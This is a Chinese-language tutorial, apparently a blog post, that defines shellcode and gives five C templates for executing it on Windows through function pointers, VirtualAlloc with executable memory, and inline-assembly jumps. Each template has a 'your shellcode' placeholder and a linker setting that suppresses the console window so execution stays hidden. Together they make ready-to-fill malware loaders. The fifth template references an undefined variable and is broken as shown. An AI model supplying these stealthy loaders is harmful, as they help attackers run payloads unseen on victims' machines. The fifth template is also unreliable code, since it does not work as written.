一、什麼是shellcode?
shellcode是一小段程式碼,用於利用軟體漏洞作為有效載荷。它之所以被稱為“shellcode”,是因為它通常啟動一個命令shell,攻擊者可以從這個命令shell控制受損的計算機,但是執行類似任務的任何程式碼都可以被稱為shellcode。因為有效載荷(payload)的功能不僅限於生成shell
簡單來說:shellcode為16進位制的機器碼,是一段執行某些動作的機器碼
那麼,什麼是機器碼呢?
在百度百科中這樣解釋道:計算機直接使用的程式語言,其語句就是機器指令碼,機器指令碼是用於指揮計算機應做的操作和運算元地址的一組二進位制數
簡單來說:直接指揮計算機的機器指令碼
二、shellcode執行的幾種常見方式
1、指標執行
最常見的一種載入shellcode的方法,使用指標來執行函式
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗
int main()
{
((void(*)(void)) & buf)();
}
2、申請動態記憶體載入
申請一段動態記憶體,然後把shellcode放進去,隨後強轉為一個函式型別指標,最後呼叫這個函式
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗
int main()
{
char shellcode[] = "你的shellcode";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
3、嵌入彙編載入
注:必須要x86版本的shellcode
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗
unsigned char shellcode[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
4、強制型別轉換
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗
unsigned char buff[] = "你的shellcode";
void main()
{
((void(WINAPI*)(void)) & buff)();
}
5、彙編花指令
和方法3差不多
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制檯程式不出黑視窗
unsigned char buff[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset xff;
_emit 0xFF;
_emit 0xE0;
}
}
以上五種方法就是最常見的shellcode執行方式